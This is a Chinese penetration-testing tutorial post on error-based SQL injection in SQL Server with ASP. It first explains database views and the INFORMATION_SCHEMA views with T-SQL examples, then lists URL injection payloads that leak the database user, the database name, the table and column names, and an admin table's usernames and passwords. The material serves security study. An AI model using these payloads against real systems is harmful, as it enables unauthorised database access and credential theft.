當前位置:網站首頁>73.網絡安全滲透測試—[SQL注入篇12]—[SQLSEVER+ASP-視圖查詢報錯注入]
73.網絡安全滲透測試—[SQL注入篇12]—[SQLSEVER+ASP-視圖查詢報錯注入]
2022-01-27 08:53:40 【qwsn】
我認為,無論是學習安全還是從事安全的人,多多少少都有些許的情懷和使命感!!!
一、SQLSEVER+ASP 視圖查詢報錯注入
其報錯的原理還是類型轉換失敗時,顯示其相應的信息。不過我們用到了視圖查詢!!!
1、SQLSERVER 視圖概念
(1)前言:
我們知道MySQL在注入的時候,會用到默認存在的information_schema數據庫,該庫裏面存儲著許多與數據庫相關的信息。同樣的在SQL_SERVER 中,每個數據庫中都有視圖,通俗的說就是虛擬聯合錶,其視圖下存在一個默認的系統視圖,其中存放了很多關於這個庫的信息。比如information_schema.columns
視圖,就存放著當前數據庫的所有列信息!!!
--1、視圖知識點
--(1)視圖是從一個或多個基本錶導出的虛/引用錶,不進行實際的存儲
--(2)操作視圖就是在操作與視圖相關聯的基本錶
--(3)只能在當前數據庫中創建視圖
--(4)創建視圖:SSMS圖形化創建、T-SQL命令創建
--(5)基本錶更新了新字段,必須重新創建視圖才能更新視圖新字段
--(6)基本錶被删除了,視圖就不能使用了
--(7)視圖:不能使用order by命令、不能使用into子句、不能在臨時錶或錶變量上創建視圖
--(8)分區視圖:本地分區視圖、分布式分區視圖
--(9)要通過更新視圖來更新基本錶數據,必須保證視圖為可更新視圖
--2、視圖示例
--(1)創建ccj視圖,包括計算機專業各學生的學號、其選修的課程號及成績。要保證對該視圖的修改都符合專業為計算機的這個條件
create view ccj with encryption
as select xs.sno,cno,grade from xs,cjb where xs.sno=cjb.sno and major ='計算機';
with check option;
--(2)創建計算機專業學生的平均成績視圖ccj_avg,包括學號(在視圖中列名為num)和平均成績(在視圖中列名為score_avg)
create view ccj_avg(num,score_avg)
as select sno,avg(grade) from cjb group by sno;
--(3)視圖查詢:顯示ccj和ccj_avg視圖中的內容:
select * from ccj;
select * from ccj_avg where score_avg>=75;
--(4)更新視圖:插入數據
--向cxs視圖中插入記錄
insert into cxs values('191315','劉明儀',1,'1996-3-2',50);
--(5)更新視圖:修改數據(實際修改的是基本錶數據)
--將cxs視圖中所有學生的總學分加1
update cxs set 總學分=總學分+1;
--將ccj視圖中學號為191301的學生的101課程的成績改為90
update ccj set 成績=90 where 學號='191301' and 課程號='101';
--(6)修改視圖的定義:將cxs視圖修改為只包含計算機專業學生的學號、姓名和總學分
alter view cxs
as select 學號,姓名,總學分 from xsb where 專業='計算機';
--視圖ccj是加密存儲視圖,修改其定義,包括學號、姓名、選修課程號、課程名和成績
alter view ccj with encryption
as select xsb.學號,姓名,cjb.課程號,課程名,成績 from xsb.cjb.kcb
where xsb.學號=cjb.學號 and cjb.課程號=kcb.課程號 and 專業='計算機'
with check option;
--删除視圖:删除視圖cxs和ccj;
drop view cxs,ccj;
--3、總結
--(1)創建視圖:create view xxx as select
--存儲加密:with encryption
--符合select條件:with check option
--(2)删除視圖:drop view xxx
--(3)修改視圖定義:alter view xxx as select
--(4)查詢視圖:select * from ccj
--(5)更新視圖:插入數據:insert into xxx values()
--(6)更新視圖:修改數據:update xxx set xxx=xxx
--4、系統視圖:有三個重要的錶
--(1)存放數據庫相關信息:INFORMATION_SCHEMA.SHCEMATA
--(2)存放數據錶相關信息:INFORMATION_SCHEMA.TABLES
--(3)存放字段相關信息:INFORMATION_SCHEMA.COLUMNS
(2)系統視圖,如下圖所示:
(3)INFORMATION_SCHEMA.TABLES視圖裏面存儲著所有的列相關信息,其最重要的就是列名字段,如下圖所示:最重要的一點,MySQL裏面table_schema錶示的是庫名,而SQL SERVER裏面table_schema錶示的是錶的用戶,很明顯從以下圖中可以發現此時的庫名用table_catalog錶示
(4)information_schema.columns視圖:
(5)information_schema.schemata視圖:
2、SQLSEVER+ASP 視圖查詢報錯注入示例
(1)查詢當前用戶名: ?id=1 and user_name()>0
(2)查詢當前數據庫名:?id=1 and db_name()>0
(3)根據用戶名爆出某個用戶的所有錶:?id=1 and(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo' FOR XML PATH)>1
(4)根據數據庫名爆出某個庫的所有錶:?id=1 and(select TABLE_NAME from information_schema.TABLES where TABLE_CATALOG='mydb' FOR XML PATH)>1
(5)根據錶名爆出某個錶所有列:?id=1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' FOR XML PATH)>1
(6)根據用戶名爆出所有錶的所有列:?id=1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_CATALOG='mydb' FOR XML PATH)>1
(7)爆出admin錶的數據:?id=1 and (select username,password from admin FOR XML PATH)>1
版權聲明
本文為[qwsn]所創,轉載請帶上原文鏈接,感謝
https://cht.chowdera.com/2022/01/202201270853354993.html
邊欄推薦
猜你喜歡
隨機推薦
- uniapp上傳圖片及組件傳值
- 瑞利年金險資金保障安全嗎?收益高不高啊?
- 華為手機USB連不上電腦的解决方法
- Flutter 2,移動金融應用開發
- 關於st25系列NFC標簽簡單介紹及st25TV系列用於門禁讀取時的注意事項總結
- 關於用ffmpeg轉手機視頻發現視頻長寬倒了的問題
- 函數 / 類模板--模板2
- 數組中的第k個最大的元素--優先級隊列、排序、堆、排序
- 單片機實例27——ADC0809A/D轉換器基本應用技術(硬件電路圖+匯編程序+C語言程序)
- Collection集合的學習
- 一場面試結束,某度員工從事Android 5年為何還是初級工程師?
- 3本書閱讀筆記【人月神話-Go語言實戰-研發能力持續成長路線】01
- PHP垃圾回收機制
- 【電子技術】什麼是LFSR?
- 死鎖?如何定比特到死鎖?如何修複死鎖?(jps和jstack兩個工具)
- 快樂寒假 22/01/20
- image
- 噴程序員?SURE?
- LDO分壓電阻計算小工具
- 面試之求一串字符串中每個字符的出現次數
- 【ISO15765_UDS&OBD診斷】-01-概述
- 【Mysql上分之路】第九篇:Mysql存儲引擎
- RHCE 第一次作業
- 2021.10.16我的第一篇博客:一切皆有可能!
- CTA-敏感行為-讀取IMEI
- 面試被問怎麼排查平時遇到的系統CPU飆高和頻繁GC,該怎麼回答?
- nuxt項目總結-綜合
- 自然語言處理學習筆記(一)
- C語言第一課
- 各比特大佬,Spark的重點難點系列暫時更新完畢
- 基於 esbuild 的 universal bundler 設計
- XCTFre逆向(四):insanity
- 理解什麼是真正的並發數
- JVM腦圖
- 【Pytorch(四)】學習如何使用 PyTorch 讀取並處理數據集
- 函數棧幀的創建與銷毀
- 構建神經網絡- 手寫字體識別案例
- 多模態生成模型ERNIE-VILG
- kotlin不容忽視的小細節
- 備戰一年,終於斬獲騰訊T3,我堅信成功是可以複制的